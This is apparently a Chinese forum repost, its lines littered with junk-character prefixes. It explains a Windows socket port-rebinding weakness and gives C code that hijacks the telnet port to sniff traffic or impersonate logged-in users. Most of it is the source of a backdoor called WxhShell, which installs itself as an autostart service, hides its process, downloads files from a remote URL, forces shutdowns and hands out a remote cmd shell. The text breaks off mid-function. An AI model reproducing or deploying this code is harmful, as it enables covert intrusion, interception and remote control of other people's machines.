在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
lLIAw$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Fj!U|l\_9 H;"4C8K7 saddr.sin_family = AF_INET;
cH)";]k*- ajpXL saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8?C5L8) 47B&s
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5-A\9UC*@ &nK<:^n 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
./~(7o$ *K;~!P 这意味着什么?意味着可以进行如下的攻击:
-n;}n:wL J~- 4C) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
AOx[ S8gs-gL#Og 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
d d;T-wa} Xnh8e 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
##ANrG l i@'dH3-kO
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
S]{oPc[7 K>
e7pu 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>R=|Wo`Ri FiU#T.`9' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3gf1ownC Z6m)tZVM 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?@8[e9lLD :v 4]D4\o #include
IRbfNq^: #include
WF"k[2 #include
_vZOZKS+ #include
LgYq.>Nl9 DWORD WINAPI ClientThread(LPVOID lpParam);
[00m/fT6 int main()
,+ ~W4<f {
%XTI-B/K WORD wVersionRequested;
x)VJFuqy DWORD ret;
=\d?'dII: WSADATA wsaData;
Xm&L
BX BOOL val;
g,Y/M3>( SOCKADDR_IN saddr;
l;V173W=& SOCKADDR_IN scaddr;
2Rz int err;
1 {)Q[#l SOCKET s;
%>s|j'{ SOCKET sc;
azU"G(6y?+ int caddsize;
Y^]rMK/; HANDLE mt;
O
H7FkR DWORD tid;
.p$(ZH =~ wVersionRequested = MAKEWORD( 2, 2 );
K+iP6B err = WSAStartup( wVersionRequested, &wsaData );
y> (w\K9W if ( err != 0 ) {
8>%hz$no= printf("error!WSAStartup failed!\n");
(iGTACoF return -1;
d!{r v }
q'11^V!0 saddr.sin_family = AF_INET;
B1Oq!k \[nut; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
=Runf
+} LHmZxi? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Rva$IX^] saddr.sin_port = htons(23);
C.QO#b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
eiOW#_"\ {
'm9` 12H printf("error!socket failed!\n");
uVU)d1N return -1;
rQ9'bCSr% }
P>6{&( val = TRUE;
k_R"CKd //SO_REUSEADDR选项就是可以实现端口重绑定的
r%N)bNk~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
tI{_y {
@lt#Nz printf("error!setsockopt failed!\n");
1nOCQ\$l return -1;
bN88ua}k{ }
iR0y"Cii //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
O1kl70,`R //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]{L jRSV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9C i-v/M] cGD(.= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
BPHW}F]X {
yppo6HGD ret=GetLastError();
D3A/l printf("error!bind failed!\n");
S@sO;-^+ return -1;
u-C)v*#L }
s<o7!!c listen(s,2);
QdC<Sk!G while(1)
a}uSm/S {
.[ mRM caddsize = sizeof(scaddr);
*9i{,I@ //接受连接请求
|WUG}G")*x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
s9d_GhT%- if(sc!=INVALID_SOCKET)
L_s:l9!r {
FGQzoS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
v9UD%@tZ if(mt==NULL)
:j`sr {
~v"L!=~G;a printf("Thread Creat Failed!\n");
1i] ^{;] break;
FCn_^l)EA }
Tb-F]lg$ }
;UP $yM; CloseHandle(mt);
E.>4C[O }
2Hv+W-6v closesocket(s);
YAmb`CP WSACleanup();
(4EI-e*6 return 0;
8sCv]|cn }
]0\MmAJRn DWORD WINAPI ClientThread(LPVOID lpParam)
VD\=`r)nT {
e0 T\tc SOCKET ss = (SOCKET)lpParam;
A +)`ZTuO SOCKET sc;
2Wb]4- unsigned char buf[4096];
F}qc0 SOCKADDR_IN saddr;
a@*\o+Su long num;
K_-MYs. DWORD val;
j8`BdKg DWORD ret;
)F2OT<]m, //如果是隐藏端口应用的话,可以在此处加一些判断
-PQv ?5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
$tS}LN_!
saddr.sin_family = AF_INET;
}iuw5dik+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
I!?}jo3 saddr.sin_port = htons(23);
&!
?eL if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+d;bjo 2 {
PiYxk+N printf("error!socket failed!\n");
Wxe0IXq3Nn return -1;
e 3TI|e_ }
&8 x-o, val = 100;
yvYad if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vZoaT|3
G] {
eGHaY4| ret = GetLastError();
}>X~ return -1;
O1mKe%'| }
,4oo=&
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bY0|N[g {
pV"R|{#V ret = GetLastError();
@|%2f@h return -1;
baK$L;Xo: }
"FKOaQ%IH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#N cK
X {
b>N8F^}~O printf("error!socket connect failed!\n");
uRr o?m< closesocket(sc);
4_cqT/ closesocket(ss);
0_t`%l= return -1;
LE>]8[f6S }
*`RkTcG while(1)
`^y7f {
][h} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
(ICd} //如果是嗅探内容的话,可以再此处进行内容分析和记录
\;"=QmRD%: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
bbyg8;/ num = recv(ss,buf,4096,0);
u-5{U-^_ if(num>0)
(=@h23
vH send(sc,buf,num,0);
/~f'}]W else if(num==0)
xlg9TvvI break;
q%?in+l num = recv(sc,buf,4096,0);
H+Sz=tg5 if(num>0)
1 Ya`| ?FS send(ss,buf,num,0);
A$:U'ZG_ else if(num==0)
sp*v?5lW break;
#?9;uy<j.q }
*ppffz closesocket(ss);
xX4N4vb closesocket(sc);
"!%l/_p? return 0 ;
6b \&~b@T }
`lt"[K< H}bJ"(9$vC v-_e)m^ ==========================================================
v OpKNp 7s{GbU\ 下边附上一个代码,,WXhSHELL
<<R*2b kq,ucU%>p ==========================================================
DZPPJ2 } r?
E)obE #include "stdafx.h"
p2$P:!Y) }@+:\ #include <stdio.h>
~1vDV>dpE #include <string.h>
C&rkvM8 #include <windows.h>
O+Y6N #include <winsock2.h>
EA]U50L( #include <winsvc.h>
c|@bwat4 #include <urlmon.h>
lv+TD!b psMvq@> #pragma comment (lib, "Ws2_32.lib")
*6DB0X_-} #pragma comment (lib, "urlmon.lib")
g~A`N=r;h HqT#$}rv #define MAX_USER 100 // 最大客户端连接数
"mvt>X #define BUF_SOCK 200 // sock buffer
.+A+|yR #define KEY_BUFF 255 // 输入 buffer
DG:Z=LuJr -fHy-Oh #define REBOOT 0 // 重启
8&`LYdzt #define SHUTDOWN 1 // 关机
u frL<]A SmSH2m- #define DEF_PORT 5000 // 监听端口
U/l&tmIVY 'Xq|Kf ( #define REG_LEN 16 // 注册表键长度
s{\8om'- #define SVC_LEN 80 // NT服务名长度
EE'io5\et +Kbjzh3<wG // 从dll定义API
iVq'r4S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
F%D.zvKN typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
XXn67sF/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
sZ/v^xk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0*D$R`$ ]R f[y // wxhshell配置信息
zL `iK"N` struct WSCFG {
MC.)2B7 int ws_port; // 监听端口
C
mWgcw1 char ws_passstr[REG_LEN]; // 口令
V7fq4O^: int ws_autoins; // 安装标记, 1=yes 0=no
::{Q1F char ws_regname[REG_LEN]; // 注册表键名
#-i>;Rt char ws_svcname[REG_LEN]; // 服务名
UIN<2F_ char ws_svcdisp[SVC_LEN]; // 服务显示名
]{mPh\ char ws_svcdesc[SVC_LEN]; // 服务描述信息
!/i{l char ws_passmsg[SVC_LEN]; // 密码输入提示信息
9c,'k#k int ws_downexe; // 下载执行标记, 1=yes 0=no
YvyNHW& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
mQ26K~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
++Ts V_}"+&W9 };
;dZZ;#k% T{ XS")Vw // default Wxhshell configuration
9u}Hmb struct WSCFG wscfg={DEF_PORT,
lbl?k5 "xuhuanlingzhe",
a>I+]`g 1,
_
y8Wn}19f "Wxhshell",
'Nnz k "Wxhshell",
'UX!*5k<: "WxhShell Service",
-Xm'dwm "Wrsky Windows CmdShell Service",
^sEYOX\ "Please Input Your Password: ",
PB`Y
g 1,
jrr*!^4| "
http://www.wrsky.com/wxhshell.exe",
Mhf5bN|wQ "Wxhshell.exe"
&n}f? };
qCpp6~]Um }1i`6`y1 // 消息定义模块
gANuBWh8T char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Rmt~,cW!\ char *msg_ws_prompt="\n\r? for help\n\r#>";
][h%UrV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]]9R mh= char *msg_ws_ext="\n\rExit.";
$f=J2&D,Cz char *msg_ws_end="\n\rQuit.";
j8{i#;s!" char *msg_ws_boot="\n\rReboot...";
rt~d6|6 char *msg_ws_poff="\n\rShutdown...";
Tc &z: char *msg_ws_down="\n\rSave to ";
6J6BF% .A{tQ1&_ char *msg_ws_err="\n\rErr!";
QIvVcfM^ char *msg_ws_ok="\n\rOK!";
^"1n4im JZ*/,|1}EC char ExeFile[MAX_PATH];
ju8q?Nyhs int nUser = 0;
6x[}g HANDLE handles[MAX_USER];
A _
N;
int OsIsNt;
FvXZ<(A{ \[_t]'p SERVICE_STATUS serviceStatus;
a /l)qB# SERVICE_STATUS_HANDLE hServiceStatusHandle;
{9;CNsd >#~& -3 // 函数声明
>j(_[z|v3 int Install(void);
cr?Q[8%t1 int Uninstall(void);
BsqP?/ int DownloadFile(char *sURL, SOCKET wsh);
,nLy4T&" int Boot(int flag);
q#ClnG* void HideProc(void);
Ou!2[oe@M int GetOsVer(void);
b vr^zH,C int Wxhshell(SOCKET wsl);
xH(lm2kvT void TalkWithClient(void *cs);
9_rYBX int CmdShell(SOCKET sock);
NAQAU
*yP int StartFromService(void);
#Z`q+@@]A int StartWxhshell(LPSTR lpCmdLine);
)Y6 + i6tf2oqO7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ith
3=`3 VOID WINAPI NTServiceHandler( DWORD fdwControl );
Bp`] A8fOQ // 数据结构和表定义
;F!5%}OcL% SERVICE_TABLE_ENTRY DispatchTable[] =
iWB=sL&p {
wQH<gJE/: {wscfg.ws_svcname, NTServiceMain},
(*nT(Adk {NULL, NULL}
[.'|_l };
&(G\[RWp\ gk[aM~p // 自我安装
3kIN~/<R+7 int Install(void)
+N9X/QFKV {
?{|q5n char svExeFile[MAX_PATH];
\y)rt ) HKEY key;
w\}ieI8J strcpy(svExeFile,ExeFile);
|\<`Ib4j ~'iHo]9O // 如果是win9x系统,修改注册表设为自启动
'()xHEGl3 if(!OsIsNt) {
}=UHbU.n~! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E$:*NSXj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
W*4-.*U8a RegCloseKey(key);
ox>^>wR* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O=&0 H|B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^aMg/.j RegCloseKey(key);
g\(G\ tnu> return 0;
)}]g]
g }
S)k*?dQ##R }
*1
]uH e }
EXwo,?I else {
>CgTs 1i"WDu*h3 // 如果是NT以上系统,安装为系统服务
/-ch`u md SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2LL'J7 if (schSCManager!=0)
{3p4:*} {
tl4V7!U@^z SC_HANDLE schService = CreateService
=J]]EoX/ (
,p@y]
cr schSCManager,
-p&" y3<p wscfg.ws_svcname,
:O?MSS;~ wscfg.ws_svcdisp,
FLCexlv^ SERVICE_ALL_ACCESS,
\H~T>j{N SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
axRV:w;E< SERVICE_AUTO_START,
*vN-Vb^2i) SERVICE_ERROR_NORMAL,
MS>Ge0P("~ svExeFile,
P[#e/qnXu| NULL,
b#Z{{eLny NULL,
V>%rv'G8 NULL,
V _/%b)* NULL,
dvx#q5f_S NULL
0hNA1Fh{U );
y$F'(b|) if (schService!=0)
AGO+p(6d=g {
Ae^~Cz1qz CloseServiceHandle(schService);
Co_A/ CloseServiceHandle(schSCManager);
t r3!d_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?|C2*?hZ+ strcat(svExeFile,wscfg.ws_svcname);
%lx!.G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@* jz
o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
b8VTo lJ RegCloseKey(key);
"a>q`RaIQ" return 0;
}wjw:M }
"3"V3w }
cAqLE\h CloseServiceHandle(schSCManager);
vq0Tk
bzs }
2dcV"lY }
E`0? C8:f_mJU return 1;
[M}{G5U. }
'8.r-`l( B+VubUPMS // 自我卸载
<X^@*79m int Uninstall(void)
eIEeb,#i {
q&-`,8# HKEY key;
|`,2ri*5A \fr~ if(!OsIsNt) {
IH&|Tcf\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V`d,qn)i RegDeleteValue(key,wscfg.ws_regname);
+wU@ynw RegCloseKey(key);
S_4?K)n # if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=^f<v_L RegDeleteValue(key,wscfg.ws_regname);
FZ<gpIv!NS RegCloseKey(key);
n;C
:0 return 0;
_|\~q[ep }
GPv1fearl }
LTCb@L{^i }
YnS#H" else {
T_
<@..C S9D<8j^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#PW9:_BE if (schSCManager!=0)
oUr66a/[U {
f4b/NG| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$q{!5-e if (schService!=0)
_QE qk@ql {
")5":V~fN if(DeleteService(schService)!=0) {
l
-m fFN CloseServiceHandle(schService);
w"|L:8 CloseServiceHandle(schSCManager);
!cLo>,4 return 0;
a=1@*ID }
8.=BaNU CloseServiceHandle(schService);
=.U[$~3q% }
q=m'^
,gPS CloseServiceHandle(schSCManager);
oj<gD }
$am$EU?s }
t!X.|`h :zbQD8jv return 1;
Hqx-~hQO }
mzKiO_g} hJ? O],4J // 从指定url下载文件
9(7-{,c int DownloadFile(char *sURL, SOCKET wsh)
^_W#+>&-- {
aEWWP] HRESULT hr;
1Z2HUzqh. char seps[]= "/";
t+G#{n char *token;
A#<? 4& char *file;
(Q!}9K3 char myURL[MAX_PATH];
.},'~NM] char myFILE[MAX_PATH];
7`Ak)F:V h0f;F@I strcpy(myURL,sURL);
~?Pw& K2 token=strtok(myURL,seps);
6OIte-c while(token!=NULL)
eA ?RK.e {
fu ,}1Mq# file=token;
qkY:3Ozw token=strtok(NULL,seps);
:#ik. D }
~P,lz!he_ ,HV(l+k {| GetCurrentDirectory(MAX_PATH,myFILE);
0<@KG8@hI; strcat(myFILE, "\\");
YnMvl strcat(myFILE, file);
RJ&RTo send(wsh,myFILE,strlen(myFILE),0);
lh7#t# send(wsh,"...",3,0);
?4&e;83_#y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
vWv" if(hr==S_OK)
MK~ 8}x 2K return 0;
$6 9&O else
.
iI return 1;
XFpjYwn {9pZ)tB }
[kB7@o UHkMn // 系统电源模块
UnV.~ u~ int Boot(int flag)
H@>` F {
i$#;Kpb`^ HANDLE hToken;
5H9z4-i x? TOKEN_PRIVILEGES tkp;
gPO}d AKfDXy if(OsIsNt) {
8MtGlW%Eh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"m8^zg hL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@n /nH?L tkp.PrivilegeCount = 1;
~jk|4`I?T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tw/dD + AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9:|{6_Y if(flag==REBOOT) {
#q$HQ&k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ZJJY8k ` return 0;
O
_ gGf }
v{N`.~,^ else {
pE0Sw}A:9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
8/cX]J return 0;
5Ln,{vsv }
M
FMs[+2_o }
BwpqNQN else {
&wawr2)} if(flag==REBOOT) {
Q"d^_z]K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&PHTpkaam return 0;
Bm<`n;m }
ltSU fI else {
,w4(kcg%iQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
: *#- %0 return 0;
o5PO=AN }
rXP,\ ]r+ }
vn8aFA my1@41
H return 1;
l|[N42+ }
*:7rdzn v!-pSa)3 // win9x进程隐藏模块
qYQl,w void HideProc(void)
!9e=_mY {
~G&dqw/.-U `/+>a8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
\*?~Yj# if ( hKernel != NULL )
Ic<2QknmP {
Wvh#:Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_4~+{l+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Q3~H{)[Kq FreeLibrary(hKernel);
Nh|uO?&C6 }
; DR$iH-F t{9GVLZ return;
\V63qg[ }
eo?bL$A[s oZgjQM$YP // 获取操作系统版本
_jVN&\A]mC int GetOsVer(void)
(%6P0* {
Nai2W<, OSVERSIONINFO winfo;
Sz`,X0a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
t3_O H^ GetVersionEx(&winfo);
0#hlsfc]\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
1CZgb return 1;
`U_)98 else
6d}lw6L return 0;
/{_:{G!Q0 }
9TC,!0U{_. cuITY^6 // 客户端句柄模块
K69'6?# int Wxhshell(SOCKET wsl)
/,yd+wcW# {
mq.`X:e SOCKET wsh;
ZMlm)?m struct sockaddr_in client;
dZ@63a>>@ DWORD myID;
J/$&NWF 2%m BK while(nUser<MAX_USER)
&p@O_0nF {
DyQy^G'%l int nSize=sizeof(client);
C,r;VyW6BI wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<%eG:n,# if(wsh==INVALID_SOCKET) return 1;
U8?mc (L&d!$,Dv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[z{1*Xc if(handles[nUser]==0)
g!|kp? closesocket(wsh);
=dKtV.L else
_B<X`L
= nUser++;
rb.N~ }
#;e:A8IQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
6bC3O4Rw x 9fip- return 0;
P=
NDS2 }
-Q*gW2KmV 5t]H?b8 // 关闭 socket
24eLB?H void CloseIt(SOCKET wsh)
q0vQa {
,f>k%_U} closesocket(wsh);
Y:[u1~a nUser--;
|Rk@hzM2S ExitThread(0);
~f98#43 }
aW7^d'ZZ\ 8l`*]1.W< // 客户端请求句柄
f]CXu3w(J void TalkWithClient(void *cs)
4!?eRY {
wmLs/:~ VI86KJu SOCKET wsh=(SOCKET)cs;
+mn[5Y} : char pwd[SVC_LEN];
q/,O\, char cmd[KEY_BUFF];
Q;rX;p^W char chr[1];
"chDg(jMZ int i,j;
e9B064 iYy1!\ while (nUser < MAX_USER) {
S,he6zS {`@G+JV~Jw if(wscfg.ws_passstr) {
|CyE5i0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5$k:t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/\n-P'} //ZeroMemory(pwd,KEY_BUFF);
j\M?~=*w i=0;
@o`AmC.
8 while(i<SVC_LEN) {
L!xi Gd85kY@w7 // 设置超时
gcT%c|. fd_set FdRead;
?Ir:g=RP* struct timeval TimeOut;
ym1Y4, FD_ZERO(&FdRead);
&6VnySE? FD_SET(wsh,&FdRead);
P&Vv/D TimeOut.tv_sec=8;
nu%*'. TimeOut.tv_usec=0;
wibNQ`4k int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
cvL;3jRo if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
s~X%Y<9l =I_'.b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
w}L[u
r;I_ pwd
=chr[0]; S
f#
R0SA
if(chr[0]==0xd || chr[0]==0xa) { eaU
pwd=0; p`qgrI`
break; ?:0Jav
} Mo|2}nf
i++; (E1~H0^
} >m\(6x8RE
m8[j #=h
// 如果是非法用户,关闭 socket pQB."[n
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %xLhZ\
} xAm6BB
c
Ny/MJ#Lq
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *vMn$,^0h9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )^hbsMhO
#RLt^$!H
while(1) { J{G?-+`
C0Z=~Q%
ZeroMemory(cmd,KEY_BUFF); >vsqG=x
_+MJ%'>S
// 自动支持客户端 telnet标准
]ZS
OM\}
j=0; _Fg5A7or
while(j<KEY_BUFF) { Y'X%Aw;`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T)_hpt.
cmd[j]=chr[0]; >H,*H;6
if(chr[0]==0xa || chr[0]==0xd) { BiBOr}ZQ
cmd[j]=0; 9Mcae31
break; _yR^*}xJb
} K3uRs{l|
j++; u*9V&>o
} a 1*p*dM#
S+lqA-:
// 下载文件 "0TZTa1e
if(strstr(cmd,"http://")) { lp8v0e4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @C aG9]
if(DownloadFile(cmd,wsh)) A3*!"3nU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %;!.n{X
else 8 Fbo3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hi[pVk~B)
} <~=Vg
else { a8Wwq?@
xgtR6E^k
switch(cmd[0]) { }Y4qS
8q7b_Pq1U
// 帮助 HxI"
8A
case '?': { c:.eGH_f
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &%Tj/ Qx
break; ,R|BG
} 93hxSRw
// 安装 oP.7/*p
case 'i': { ddR>7d}N
if(Install()) Z3!`J&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ek}A]zC
else 9N3eN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +"VP-s0
break; (7*}-Uy[C
} SgOheN-
// 卸载 Gs[XJ 5%`~
case 'r': { @KAI4LP
if(Uninstall()) #.[k=dj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3;Fhg!ZO
else :BTq!>s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); syK^<xa
break; TS5Q1+hWHV
} 3R VR
// 显示 wxhshell 所在路径 cM7[_*Ot<m
case 'p': { rrv%~giU
char svExeFile[MAX_PATH]; [0e_*
strcpy(svExeFile,"\n\r"); [ikOb8 G#
strcat(svExeFile,ExeFile); xId.GWY1
send(wsh,svExeFile,strlen(svExeFile),0); KK &?gTa
break; A5w6]: f2
} p()xz
// 重启 bN@
l?w
case 'b': { Na Cy@
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `9.r`&T6K
if(Boot(REBOOT)) H>@+om
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nFs(?Rv*
else { _J [P[(ab
closesocket(wsh); ,7b[!#?8
ExitThread(0); Q NVa?'0"Y
} 3f;>" P}
break; S21,VpW\
} t0?\l)
// 关机 POR\e|hRT]
case 'd': { L j$;:/G
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !{41!O,K#
if(Boot(SHUTDOWN)) G*v,GR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?0xgRe<
else { &jr3B;g!C
closesocket(wsh); E1 f\%!2l
ExitThread(0); ;jTN| i'
} 9~YMyg(Z
break; >-{Hyx
} <rS F*
// 获取shell ws^ np
case 's': { 7J&4akT{9
CmdShell(wsh); SK.: Q5:
closesocket(wsh); pY$Q
ExitThread(0); ItTz.sQ
break; BL58] P84
} RzusNS
// 退出 $u6
3]rypm
case 'x': { H 7
^/q7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~< x:q6
CloseIt(wsh); y18Y:)DkL
break; 6\S~P/PkE
} Pr,q*_Yy
// 离开 *HB-QIl
case 'q': { /,Jqmm#s^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); R_xRp&5
closesocket(wsh); .w,q0<}
WSACleanup(); HE_8(Ms;8
exit(1); 9Lfv^V0
break; 5ms(Wd
} G 9vpt M
} G9@0@2aY8
} *k>n<p3dd
Q)z8PQl O
// 提示信息 BDZ?Ez\Sg
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -n5)w*b,
} VOh4#%Vj
} $,fX:x
EDs\,f}
return; _t}WsEQ+P
} 5 + MS^H
$
o#V#
// shell模块句柄 fLAw12;^
int CmdShell(SOCKET sock) HiJE}V;Vq
{ $7A8/#
STARTUPINFO si; 7i1q wRv
ZeroMemory(&si,sizeof(si)); J!7MZLb
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |IUWF%~^$+
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U|j`e5)
PROCESS_INFORMATION ProcessInfo; "8zDbdK
char cmdline[]="cmd";
^L&iR0
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jOD?|tK&
return 0; ib791
} _2 osV[e
iMRwp+$
// 自身启动模式 u08mqEa
int StartFromService(void) qA5r
{ t.\dpBq
typedef struct 8|58 H
{ Yk Qd
DWORD ExitStatus; 1]/.` ]1
DWORD PebBaseAddress; g95`.V}
DWORD AffinityMask; @2v_pJy^
DWORD BasePriority; 2gVm9gAHUd
